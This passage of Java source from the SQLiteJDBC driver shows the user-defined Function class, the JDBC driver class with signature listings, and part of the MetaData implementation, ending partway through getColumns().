 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







import java.sql.*;







/** Provides an interface for creating SQLite user-defined functions.



 *



 * <p>A subclass of <tt>org.sqlite.Function</tt> can be registered with



 * <tt>Function.create()</tt> and called by the name it was given. All



 * functions must implement <tt>xFunc()</tt>, which is called when SQLite



 * runs the custom function.</p>



 *



 * Eg.



 *



 * <pre>



 *      Class.forName("org.sqlite.JDBC");



 *      Connection conn = DriverManager.getConnection("jdbc:sqlite:");



 *



 *      Function.create(conn, "myFunc", new Function() {



 *          protected void xFunc() {



 *              System.out.println("myFunc called!");



 *          }



 *      });



 *



 *      conn.createStatement().execute("select myFunc();");



 *  </pre>



 *



 *  <p>Arguments passed to a custom function can be accessed using the



 *  <tt>protected</tt> functions provided. <tt>args()</tt> returns



 *  the number of arguments passed, while



 *  <tt>value_&lt;type&gt;(int)</tt> returns the value of the specific



 *  argument. Similarly a function can return a value using the



 *  <tt>result(&lt;type&gt;)</tt> function.</p>



 *



 *  <p>Aggregate functions are not yet supported, but coming soon.</p>



 *



 */



public abstract class Function



{



    private Conn conn;



    private DB db;







    long context = 0;     // pointer sqlite3_context*



    long value = 0;       // pointer sqlite3_value**



    int args = 0;







    /** Registers the given function with the Connection using the



     *  provided name. */



    public static final void create(Connection conn, String name, Function f)



            throws SQLException {



        if (conn == null || !(conn instanceof Conn))



            throw new SQLException("connection must be to an SQLite db");



        if (conn.isClosed())



            throw new SQLException("connection closed");







        f.conn = (Conn)conn;



        f.db = f.conn.db();







        if (name == null || name.length() > 255)



            throw new SQLException("invalid function name: '"+name+"'");







        if (f.db.create_function(name, f) != Codes.SQLITE_OK)



            throw new SQLException("error creating function");



    }







    /** Removes the named function form the Connection. */



    public static final void destroy(Connection conn, String name)



            throws SQLException {



        if (conn == null || !(conn instanceof Conn))



            throw new SQLException("connection must be to an SQLite db");



        ((Conn)conn).db().destroy_function(name);



    }











    /** Called by SQLite as a custom function. Should access arguments



     *  through <tt>value_*(int)</tt>, return results with



     *  <tt>result(*)</tt> and throw errors with <tt>error(String)</tt>. */



    protected abstract void xFunc() throws SQLException;











    /** Returns the number of arguments passed to the function.



     *  Can only be called from <tt>xFunc()</tt>. */



    protected synchronized final int args()



        throws SQLException { checkContext(); return args; }







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result(byte[] value)



        throws SQLException { checkContext(); db.result_blob(context, value); }







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result(double value)



        throws SQLException { checkContext(); db.result_double(context,value);}







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result(int value)



        throws SQLException { checkContext(); db.result_int(context, value); }







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result(long value)



        throws SQLException { checkContext(); db.result_long(context, value); }







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result()



        throws SQLException { checkContext(); db.result_null(context); }







    /** Called by <tt>xFunc</tt> to return a value. */



    protected synchronized final void result(String value)



        throws SQLException { checkContext(); db.result_text(context, value); }







    /** Called by <tt>xFunc</tt> to throw an error. */



    protected synchronized final void error(String err)



        throws SQLException { checkContext(); db.result_error(context, err); }







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final int value_bytes(int arg)



        throws SQLException {checkValue(arg); return db.value_bytes(this,arg);}







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final String value_text(int arg)



        throws SQLException {checkValue(arg); return db.value_text(this,arg);}







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final byte[] value_blob(int arg)



        throws SQLException {checkValue(arg); return db.value_blob(this,arg); }







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final double value_double(int arg)



        throws SQLException {checkValue(arg); return db.value_double(this,arg);}







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final int value_int(int arg)



        throws SQLException {checkValue(arg); return db.value_int(this, arg); }







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final long value_long(int arg)



        throws SQLException { checkValue(arg); return db.value_long(this,arg); }







    /** Called by <tt>xFunc</tt> to access the value of an argument. */



    protected synchronized final int value_type(int arg)



        throws SQLException {checkValue(arg); return db.value_type(this,arg); }











    private void checkContext() throws SQLException {



        if (conn == null || conn.db() == null || context == 0)



            throw new SQLException("no context, not allowed to read value");



    }







    private void checkValue(int arg) throws SQLException {



        if (conn == null || conn.db() == null || value == 0)



            throw new SQLException("not in value access state");



        if (arg >= args)



            throw new SQLException("arg "+arg+" out bounds [0,"+args+")");



    }











    public static abstract class Aggregate



            extends Function



            implements Cloneable



    {



        protected final void xFunc() {}



        protected abstract void xStep() throws SQLException;



        protected abstract void xFinal() throws SQLException;







        public Object clone() throws CloneNotSupportedException {



            return super.clone();



        }



    }



}
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package org.sqlite;
public synchronized class JDBC implements java.sql.Driver {
    public static final String PREFIX = jdbc:sqlite:;
    public void JDBC();
    public int getMajorVersion();
    public int getMinorVersion();
    public boolean jdbcCompliant();
    public boolean acceptsURL(String);
    public static boolean isValidURL(String);
    public java.sql.DriverPropertyInfo[] getPropertyInfo(String, java.util.Properties) throws java.sql.SQLException;
    public java.sql.Connection connect(String, java.util.Properties) throws java.sql.SQLException;
    static String extractAddress(String);
    public static java.sql.Connection createConnection(String, java.util.Properties) throws java.sql.SQLException;
    static void <clinit>();
}
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/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */







package org.sqlite;







import java.sql.Connection;



import java.sql.Driver;



import java.sql.DriverManager;



import java.sql.DriverPropertyInfo;



import java.sql.SQLException;



import java.util.Properties;







public class JDBC implements Driver



{



    public static final String PREFIX = "jdbc:sqlite:";







    static {



        try {



            DriverManager.registerDriver(new JDBC());



        }



        catch (SQLException e) {



            e.printStackTrace();



        }



    }







    public int getMajorVersion() {



        return SQLiteJDBCLoader.getMajorVersion();



    }







    public int getMinorVersion() {



        return SQLiteJDBCLoader.getMinorVersion();



    }







    public boolean jdbcCompliant() {



        return false;



    }







    public boolean acceptsURL(String url) {



        return isValidURL(url);



    }







    public static boolean isValidURL(String url) {



        return url != null && url.toLowerCase().startsWith(PREFIX);



    }







    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {



        return SQLiteConfig.getDriverPropertyInfo();



    }







    public Connection connect(String url, Properties info) throws SQLException {



        return createConnection(url, info);



    }







    static String extractAddress(String url) {



        // if no file name is given use a memory database



        return PREFIX.equalsIgnoreCase(url) ? ":memory:" : url.substring(PREFIX.length());



    }







    public static Connection createConnection(String url, Properties prop) throws SQLException {



        if (!isValidURL(url))



            throw new SQLException("invalid database address: " + url);







        url = url.trim();



        return new Conn(url, extractAddress(url), prop);



    }



}
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package org.sqlite;
synchronized class MetaData implements java.sql.DatabaseMetaData {
    private Conn conn;
    private java.sql.PreparedStatement getTables;
    private java.sql.PreparedStatement getTableTypes;
    private java.sql.PreparedStatement getTypeInfo;
    private java.sql.PreparedStatement getCatalogs;
    private java.sql.PreparedStatement getSchemas;
    private java.sql.PreparedStatement getUDTs;
    private java.sql.PreparedStatement getColumnsTblName;
    private java.sql.PreparedStatement getSuperTypes;
    private java.sql.PreparedStatement getSuperTables;
    private java.sql.PreparedStatement getTablePrivileges;
    private java.sql.PreparedStatement getIndexInfo;
    private java.sql.PreparedStatement getProcedures;
    private java.sql.PreparedStatement getProcedureColumns;
    private java.sql.PreparedStatement getAttributes;
    private java.sql.PreparedStatement getBestRowIdentifier;
    private java.sql.PreparedStatement getVersionColumns;
    private java.sql.PreparedStatement getColumnPrivileges;
    private java.sql.PreparedStatement getGeneratedKeys;
    void MetaData(Conn);
    void checkOpen() throws java.sql.SQLException;
    synchronized void close() throws java.sql.SQLException;
    public java.sql.Connection getConnection();
    public int getDatabaseMajorVersion();
    public int getDatabaseMinorVersion();
    public int getDriverMajorVersion();
    public int getDriverMinorVersion();
    public int getJDBCMajorVersion();
    public int getJDBCMinorVersion();
    public int getDefaultTransactionIsolation();
    public int getMaxBinaryLiteralLength();
    public int getMaxCatalogNameLength();
    public int getMaxCharLiteralLength();
    public int getMaxColumnNameLength();
    public int getMaxColumnsInGroupBy();
    public int getMaxColumnsInIndex();
    public int getMaxColumnsInOrderBy();
    public int getMaxColumnsInSelect();
    public int getMaxColumnsInTable();
    public int getMaxConnections();
    public int getMaxCursorNameLength();
    public int getMaxIndexLength();
    public int getMaxProcedureNameLength();
    public int getMaxRowSize();
    public int getMaxSchemaNameLength();
    public int getMaxStatementLength();
    public int getMaxStatements();
    public int getMaxTableNameLength();
    public int getMaxTablesInSelect();
    public int getMaxUserNameLength();
    public int getResultSetHoldability();
    public int getSQLStateType();
    public String getDatabaseProductName();
    public String getDatabaseProductVersion() throws java.sql.SQLException;
    public String getDriverName();
    public String getDriverVersion();
    public String getExtraNameCharacters();
    public String getCatalogSeparator();
    public String getCatalogTerm();
    public String getSchemaTerm();
    public String getProcedureTerm();
    public String getSearchStringEscape();
    public String getIdentifierQuoteString();
    public String getSQLKeywords();
    public String getNumericFunctions();
    public String getStringFunctions();
    public String getSystemFunctions();
    public String getTimeDateFunctions();
    public String getURL();
    public String getUserName();
    public boolean allProceduresAreCallable();
    public boolean allTablesAreSelectable();
    public boolean dataDefinitionCausesTransactionCommit();
    public boolean dataDefinitionIgnoredInTransactions();
    public boolean doesMaxRowSizeIncludeBlobs();
    public boolean deletesAreDetected(int);
    public boolean insertsAreDetected(int);
    public boolean isCatalogAtStart();
    public boolean locatorsUpdateCopy();
    public boolean nullPlusNonNullIsNull();
    public boolean nullsAreSortedAtEnd();
    public boolean nullsAreSortedAtStart();
    public boolean nullsAreSortedHigh();
    public boolean nullsAreSortedLow();
    public boolean othersDeletesAreVisible(int);
    public boolean othersInsertsAreVisible(int);
    public boolean othersUpdatesAreVisible(int);
    public boolean ownDeletesAreVisible(int);
    public boolean ownInsertsAreVisible(int);
    public boolean ownUpdatesAreVisible(int);
    public boolean storesLowerCaseIdentifiers();
    public boolean storesLowerCaseQuotedIdentifiers();
    public boolean storesMixedCaseIdentifiers();
    public boolean storesMixedCaseQuotedIdentifiers();
    public boolean storesUpperCaseIdentifiers();
    public boolean storesUpperCaseQuotedIdentifiers();
    public boolean supportsAlterTableWithAddColumn();
    public boolean supportsAlterTableWithDropColumn();
    public boolean supportsANSI92EntryLevelSQL();
    public boolean supportsANSI92FullSQL();
    public boolean supportsANSI92IntermediateSQL();
    public boolean supportsBatchUpdates();
    public boolean supportsCatalogsInDataManipulation();
    public boolean supportsCatalogsInIndexDefinitions();
    public boolean supportsCatalogsInPrivilegeDefinitions();
    public boolean supportsCatalogsInProcedureCalls();
    public boolean supportsCatalogsInTableDefinitions();
    public boolean supportsColumnAliasing();
    public boolean supportsConvert();
    public boolean supportsConvert(int, int);
    public boolean supportsCorrelatedSubqueries();
    public boolean supportsDataDefinitionAndDataManipulationTransactions();
    public boolean supportsDataManipulationTransactionsOnly();
    public boolean supportsDifferentTableCorrelationNames();
    public boolean supportsExpressionsInOrderBy();
    public boolean supportsMinimumSQLGrammar();
    public boolean supportsCoreSQLGrammar();
    public boolean supportsExtendedSQLGrammar();
    public boolean supportsLimitedOuterJoins();
    public boolean supportsFullOuterJoins();
    public boolean supportsGetGeneratedKeys();
    public boolean supportsGroupBy();
    public boolean supportsGroupByBeyondSelect();
    public boolean supportsGroupByUnrelated();
    public boolean supportsIntegrityEnhancementFacility();
    public boolean supportsLikeEscapeClause();
    public boolean supportsMixedCaseIdentifiers();
    public boolean supportsMixedCaseQuotedIdentifiers();
    public boolean supportsMultipleOpenResults();
    public boolean supportsMultipleResultSets();
    public boolean supportsMultipleTransactions();
    public boolean supportsNamedParameters();
    public boolean supportsNonNullableColumns();
    public boolean supportsOpenCursorsAcrossCommit();
    public boolean supportsOpenCursorsAcrossRollback();
    public boolean supportsOpenStatementsAcrossCommit();
    public boolean supportsOpenStatementsAcrossRollback();
    public boolean supportsOrderByUnrelated();
    public boolean supportsOuterJoins();
    public boolean supportsPositionedDelete();
    public boolean supportsPositionedUpdate();
    public boolean supportsResultSetConcurrency(int, int);
    public boolean supportsResultSetHoldability(int);
    public boolean supportsResultSetType(int);
    public boolean supportsSavepoints();
    public boolean supportsSchemasInDataManipulation();
    public boolean supportsSchemasInIndexDefinitions();
    public boolean supportsSchemasInPrivilegeDefinitions();
    public boolean supportsSchemasInProcedureCalls();
    public boolean supportsSchemasInTableDefinitions();
    public boolean supportsSelectForUpdate();
    public boolean supportsStatementPooling();
    public boolean supportsStoredProcedures();
    public boolean supportsSubqueriesInComparisons();
    public boolean supportsSubqueriesInExists();
    public boolean supportsSubqueriesInIns();
    public boolean supportsSubqueriesInQuantifieds();
    public boolean supportsTableCorrelationNames();
    public boolean supportsTransactionIsolationLevel(int);
    public boolean supportsTransactions();
    public boolean supportsUnion();
    public boolean supportsUnionAll();
    public boolean updatesAreDetected(int);
    public boolean usesLocalFilePerTable();
    public boolean usesLocalFiles();
    public boolean isReadOnly() throws java.sql.SQLException;
    public java.sql.ResultSet getAttributes(String, String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getBestRowIdentifier(String, String, String, int, boolean) throws java.sql.SQLException;
    public java.sql.ResultSet getColumnPrivileges(String, String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getColumns(String, String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getCrossReference(String, String, String, String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getSchemas() throws java.sql.SQLException;
    public java.sql.ResultSet getCatalogs() throws java.sql.SQLException;
    public java.sql.ResultSet getPrimaryKeys(String, String, String) throws java.sql.SQLException;
    private static String quote(String);
    public java.sql.ResultSet getExportedKeys(String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getImportedKeys(String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getIndexInfo(String, String, String, boolean, boolean) throws java.sql.SQLException;
    public java.sql.ResultSet getProcedureColumns(String, String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getProcedures(String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getSuperTables(String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getSuperTypes(String, String, String) throws java.sql.SQLException;
    public java.sql.ResultSet getTablePrivileges(String, String, String) throws java.sql.SQLException;
    public synchronized java.sql.ResultSet getTables(String, String, String, String[]) throws java.sql.SQLException;
    public java.sql.ResultSet getTableTypes() throws java.sql.SQLException;
    public java.sql.ResultSet getTypeInfo() throws java.sql.SQLException;
    public java.sql.ResultSet getUDTs(String, String, String, int[]) throws java.sql.SQLException;
    public java.sql.ResultSet getVersionColumns(String, String, String) throws java.sql.SQLException;
    java.sql.ResultSet getGeneratedKeys() throws java.sql.SQLException;
    private String escape(String);
    public java.sql.Struct createStruct(String, Object[]) throws java.sql.SQLException;
    public java.sql.ResultSet getFunctionColumns(String, String, String, String) throws java.sql.SQLException;
}
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org/sqlite/MetaData.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 *



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 *



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */







package org.sqlite;







import java.sql.Connection;



import java.sql.DatabaseMetaData;



import java.sql.PreparedStatement;



import java.sql.ResultSet;



import java.sql.SQLException;



import java.sql.Statement;



import java.sql.Struct;



import java.sql.Types;



import java.util.ArrayList;



import java.util.Iterator;







class MetaData implements DatabaseMetaData



{



    private Conn              conn;



    private PreparedStatement getTables        = null, getTableTypes = null, getTypeInfo = null, getCatalogs = null,



            getSchemas = null, getUDTs = null, getColumnsTblName = null, getSuperTypes = null, getSuperTables = null,



            getTablePrivileges = null, getIndexInfo = null, getProcedures = null, getProcedureColumns = null,



            getAttributes = null, getBestRowIdentifier = null, getVersionColumns = null, getColumnPrivileges = null;







    /** Used by PrepStmt to save generating a new statement every call. */



    private PreparedStatement getGeneratedKeys = null;







    MetaData(Conn conn) {



        this.conn = conn;



    }







    void checkOpen() throws SQLException {



        if (conn == null)



            throw new SQLException("connection closed");



    }







    synchronized void close() throws SQLException {



        if (conn == null)



            return;







        try {



            if (getTables != null)



                getTables.close();



            if (getTableTypes != null)



                getTableTypes.close();



            if (getTypeInfo != null)



                getTypeInfo.close();



            if (getCatalogs != null)



                getCatalogs.close();



            if (getSchemas != null)



                getSchemas.close();



            if (getUDTs != null)



                getUDTs.close();



            if (getColumnsTblName != null)



                getColumnsTblName.close();



            if (getSuperTypes != null)



                getSuperTypes.close();



            if (getSuperTables != null)



                getSuperTables.close();



            if (getTablePrivileges != null)



                getTablePrivileges.close();



            if (getIndexInfo != null)



                getIndexInfo.close();



            if (getProcedures != null)



                getProcedures.close();



            if (getProcedureColumns != null)



                getProcedureColumns.close();



            if (getAttributes != null)



                getAttributes.close();



            if (getBestRowIdentifier != null)



                getBestRowIdentifier.close();



            if (getVersionColumns != null)



                getVersionColumns.close();



            if (getColumnPrivileges != null)



                getColumnPrivileges.close();



            if (getGeneratedKeys != null)



                getGeneratedKeys.close();







            getTables = null;



            getTableTypes = null;



            getTypeInfo = null;



            getCatalogs = null;



            getSchemas = null;



            getUDTs = null;



            getColumnsTblName = null;



            getSuperTypes = null;



            getSuperTables = null;



            getTablePrivileges = null;



            getIndexInfo = null;



            getProcedures = null;



            getProcedureColumns = null;



            getAttributes = null;



            getBestRowIdentifier = null;



            getVersionColumns = null;



            getColumnPrivileges = null;



            getGeneratedKeys = null;



        }



        finally {



            conn = null;



        }



    }







    public Connection getConnection() {



        return conn;



    }







    public int getDatabaseMajorVersion() {



        return 3;



    }







    public int getDatabaseMinorVersion() {



        return 0;



    }







    public int getDriverMajorVersion() {



        return 1;



    }







    public int getDriverMinorVersion() {



        return 1;



    }







    public int getJDBCMajorVersion() {



        return 2;



    }







    public int getJDBCMinorVersion() {



        return 1;



    }







    public int getDefaultTransactionIsolation() {



        return Connection.TRANSACTION_SERIALIZABLE;



    }







    public int getMaxBinaryLiteralLength() {



        return 0;



    }







    public int getMaxCatalogNameLength() {



        return 0;



    }







    public int getMaxCharLiteralLength() {



        return 0;



    }







    public int getMaxColumnNameLength() {



        return 0;



    }







    public int getMaxColumnsInGroupBy() {



        return 0;



    }







    public int getMaxColumnsInIndex() {



        return 0;



    }







    public int getMaxColumnsInOrderBy() {



        return 0;



    }







    public int getMaxColumnsInSelect() {



        return 0;



    }







    public int getMaxColumnsInTable() {



        return 0;



    }







    public int getMaxConnections() {



        return 0;



    }







    public int getMaxCursorNameLength() {



        return 0;



    }







    public int getMaxIndexLength() {



        return 0;



    }







    public int getMaxProcedureNameLength() {



        return 0;



    }







    public int getMaxRowSize() {



        return 0;



    }







    public int getMaxSchemaNameLength() {



        return 0;



    }







    public int getMaxStatementLength() {



        return 0;



    }







    public int getMaxStatements() {



        return 0;



    }







    public int getMaxTableNameLength() {



        return 0;



    }







    public int getMaxTablesInSelect() {



        return 0;



    }







    public int getMaxUserNameLength() {



        return 0;



    }







    public int getResultSetHoldability() {



        return ResultSet.CLOSE_CURSORS_AT_COMMIT;



    }







    public int getSQLStateType() {



        return sqlStateSQL99;



    }







    public String getDatabaseProductName() {



        return "SQLite";



    }







    public String getDatabaseProductVersion() throws SQLException {



        return conn.libversion();



    }







    public String getDriverName() {



        return "SQLiteJDBC";



    }







    public String getDriverVersion() {



        return conn.getDriverVersion();



    }







    public String getExtraNameCharacters() {



        return "";



    }







    public String getCatalogSeparator() {



        return ".";



    }







    public String getCatalogTerm() {



        return "catalog";



    }







    public String getSchemaTerm() {



        return "schema";



    }







    public String getProcedureTerm() {



        return "not_implemented";



    }







    public String getSearchStringEscape() {



        return null;



    }







    public String getIdentifierQuoteString() {



        return " ";



    }







    public String getSQLKeywords() {



        return "";



    }







    public String getNumericFunctions() {



        return "";



    }







    public String getStringFunctions() {



        return "";



    }







    public String getSystemFunctions() {



        return "";



    }







    public String getTimeDateFunctions() {



        return "";



    }







    public String getURL() {



        return conn.url();



    }







    public String getUserName() {



        return null;



    }







    public boolean allProceduresAreCallable() {



        return false;



    }







    public boolean allTablesAreSelectable() {



        return true;



    }







    public boolean dataDefinitionCausesTransactionCommit() {



        return false;



    }







    public boolean dataDefinitionIgnoredInTransactions() {



        return false;



    }







    public boolean doesMaxRowSizeIncludeBlobs() {



        return false;



    }







    public boolean deletesAreDetected(int type) {



        return false;



    }







    public boolean insertsAreDetected(int type) {



        return false;



    }







    public boolean isCatalogAtStart() {



        return true;



    }







    public boolean locatorsUpdateCopy() {



        return false;



    }







    public boolean nullPlusNonNullIsNull() {



        return true;



    }







    public boolean nullsAreSortedAtEnd() {



        return !nullsAreSortedAtStart();



    }







    public boolean nullsAreSortedAtStart() {



        return true;



    }







    public boolean nullsAreSortedHigh() {



        return true;



    }







    public boolean nullsAreSortedLow() {



        return !nullsAreSortedHigh();



    }







    public boolean othersDeletesAreVisible(int type) {



        return false;



    }







    public boolean othersInsertsAreVisible(int type) {



        return false;



    }







    public boolean othersUpdatesAreVisible(int type) {



        return false;



    }







    public boolean ownDeletesAreVisible(int type) {



        return false;



    }







    public boolean ownInsertsAreVisible(int type) {



        return false;



    }







    public boolean ownUpdatesAreVisible(int type) {



        return false;



    }







    public boolean storesLowerCaseIdentifiers() {



        return false;



    }







    public boolean storesLowerCaseQuotedIdentifiers() {



        return false;



    }







    public boolean storesMixedCaseIdentifiers() {



        return true;



    }







    public boolean storesMixedCaseQuotedIdentifiers() {



        return false;



    }







    public boolean storesUpperCaseIdentifiers() {



        return false;



    }







    public boolean storesUpperCaseQuotedIdentifiers() {



        return false;



    }







    public boolean supportsAlterTableWithAddColumn() {



        return false;



    }







    public boolean supportsAlterTableWithDropColumn() {



        return false;



    }







    public boolean supportsANSI92EntryLevelSQL() {



        return false;



    }







    public boolean supportsANSI92FullSQL() {



        return false;



    }







    public boolean supportsANSI92IntermediateSQL() {



        return false;



    }







    public boolean supportsBatchUpdates() {



        return true;



    }







    public boolean supportsCatalogsInDataManipulation() {



        return false;



    }







    public boolean supportsCatalogsInIndexDefinitions() {



        return false;



    }







    public boolean supportsCatalogsInPrivilegeDefinitions() {



        return false;



    }







    public boolean supportsCatalogsInProcedureCalls() {



        return false;



    }







    public boolean supportsCatalogsInTableDefinitions() {



        return false;



    }







    public boolean supportsColumnAliasing() {



        return true;



    }







    public boolean supportsConvert() {



        return false;



    }







    public boolean supportsConvert(int fromType, int toType) {



        return false;



    }







    public boolean supportsCorrelatedSubqueries() {



        return false;



    }







    public boolean supportsDataDefinitionAndDataManipulationTransactions() {



        return true;



    }







    public boolean supportsDataManipulationTransactionsOnly() {



        return false;



    }







    public boolean supportsDifferentTableCorrelationNames() {



        return false;



    }







    public boolean supportsExpressionsInOrderBy() {



        return true;



    }







    public boolean supportsMinimumSQLGrammar() {



        return true;



    }







    public boolean supportsCoreSQLGrammar() {



        return true;



    }







    public boolean supportsExtendedSQLGrammar() {



        return false;



    }







    public boolean supportsLimitedOuterJoins() {



        return true;



    }







    public boolean supportsFullOuterJoins() {



        return false;



    }







    public boolean supportsGetGeneratedKeys() {



        return false;



    }







    public boolean supportsGroupBy() {



        return true;



    }







    public boolean supportsGroupByBeyondSelect() {



        return false;



    }







    public boolean supportsGroupByUnrelated() {



        return false;



    }







    public boolean supportsIntegrityEnhancementFacility() {



        return false;



    }







    public boolean supportsLikeEscapeClause() {



        return false;



    }







    public boolean supportsMixedCaseIdentifiers() {



        return true;



    }







    public boolean supportsMixedCaseQuotedIdentifiers() {



        return false;



    }







    public boolean supportsMultipleOpenResults() {



        return false;



    }







    public boolean supportsMultipleResultSets() {



        return false;



    }







    public boolean supportsMultipleTransactions() {



        return true;



    }







    public boolean supportsNamedParameters() {



        return true;



    }







    public boolean supportsNonNullableColumns() {



        return true;



    }







    public boolean supportsOpenCursorsAcrossCommit() {



        return false;



    }







    public boolean supportsOpenCursorsAcrossRollback() {



        return false;



    }







    public boolean supportsOpenStatementsAcrossCommit() {



        return false;



    }







    public boolean supportsOpenStatementsAcrossRollback() {



        return false;



    }







    public boolean supportsOrderByUnrelated() {



        return false;



    }







    public boolean supportsOuterJoins() {



        return true;



    }







    public boolean supportsPositionedDelete() {



        return false;



    }







    public boolean supportsPositionedUpdate() {



        return false;



    }







    public boolean supportsResultSetConcurrency(int t, int c) {



        return t == ResultSet.TYPE_FORWARD_ONLY && c == ResultSet.CONCUR_READ_ONLY;



    }







    public boolean supportsResultSetHoldability(int h) {



        return h == ResultSet.CLOSE_CURSORS_AT_COMMIT;



    }







    public boolean supportsResultSetType(int t) {



        return t == ResultSet.TYPE_FORWARD_ONLY;



    }







    public boolean supportsSavepoints() {



        return false;



    }







    public boolean supportsSchemasInDataManipulation() {



        return false;



    }







    public boolean supportsSchemasInIndexDefinitions() {



        return false;



    }







    public boolean supportsSchemasInPrivilegeDefinitions() {



        return false;



    }







    public boolean supportsSchemasInProcedureCalls() {



        return false;



    }







    public boolean supportsSchemasInTableDefinitions() {



        return false;



    }







    public boolean supportsSelectForUpdate() {



        return false;



    }







    public boolean supportsStatementPooling() {



        return false;



    }







    public boolean supportsStoredProcedures() {



        return false;



    }







    public boolean supportsSubqueriesInComparisons() {



        return false;



    }







    public boolean supportsSubqueriesInExists() {



        return true;



    } // TODO: check







    public boolean supportsSubqueriesInIns() {



        return true;



    } // TODO: check







    public boolean supportsSubqueriesInQuantifieds() {



        return false;



    }







    public boolean supportsTableCorrelationNames() {



        return false;



    }







    public boolean supportsTransactionIsolationLevel(int level) {



        return level == Connection.TRANSACTION_SERIALIZABLE;



    }







    public boolean supportsTransactions() {



        return true;



    }







    public boolean supportsUnion() {



        return true;



    }







    public boolean supportsUnionAll() {



        return true;



    }







    public boolean updatesAreDetected(int type) {



        return false;



    }







    public boolean usesLocalFilePerTable() {



        return false;



    }







    public boolean usesLocalFiles() {



        return true;



    }







    public boolean isReadOnly() throws SQLException {



        return conn.isReadOnly();



    }







    public ResultSet getAttributes(String c, String s, String t, String a) throws SQLException {



        if (getAttributes == null)



            getAttributes = conn.prepareStatement("select " + "null as TYPE_CAT, " + "null as TYPE_SCHEM, "



                    + "null as TYPE_NAME, " + "null as ATTR_NAME, " + "null as DATA_TYPE, "



                    + "null as ATTR_TYPE_NAME, " + "null as ATTR_SIZE, " + "null as DECIMAL_DIGITS, "



                    + "null as NUM_PREC_RADIX, " + "null as NULLABLE, " + "null as REMARKS, " + "null as ATTR_DEF, "



                    + "null as SQL_DATA_TYPE, " + "null as SQL_DATETIME_SUB, " + "null as CHAR_OCTET_LENGTH, "



                    + "null as ORDINAL_POSITION, " + "null as IS_NULLABLE, " + "null as SCOPE_CATALOG, "



                    + "null as SCOPE_SCHEMA, " + "null as SCOPE_TABLE, " + "null as SOURCE_DATA_TYPE limit 0;");



        return getAttributes.executeQuery();



    }







    public ResultSet getBestRowIdentifier(String c, String s, String t, int scope, boolean n) throws SQLException {



        if (getBestRowIdentifier == null)



            getBestRowIdentifier = conn.prepareStatement("select " + "null as SCOPE, " + "null as COLUMN_NAME, "



                    + "null as DATA_TYPE, " + "null as TYPE_NAME, " + "null as COLUMN_SIZE, "



                    + "null as BUFFER_LENGTH, " + "null as DECIMAL_DIGITS, " + "null as PSEUDO_COLUMN limit 0;");



        return getBestRowIdentifier.executeQuery();



    }







    public ResultSet getColumnPrivileges(String c, String s, String t, String colPat) throws SQLException {



        if (getColumnPrivileges == null)



            getColumnPrivileges = conn.prepareStatement("select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, "



                    + "null as TABLE_NAME, " + "null as COLUMN_NAME, " + "null as GRANTOR, " + "null as GRANTEE, "



                    + "null as PRIVILEGE, " + "null as IS_GRANTABLE limit 0;");



        return getColumnPrivileges.executeQuery();



    }







    public ResultSet getColumns(String c, String s, String tbl, String colPat) throws SQLException {



        Statement stat = conn.createStatement();



        ResultSet rs;



        String sql;







        checkOpen();







        if (getColumnsTblName == null)



            getColumnsTblName = conn.prepareStatement("select tbl_name from sqlite_master where tbl_name like ?;");







        // determine exact table name



        getColumnsTblName.setString(1, tbl);



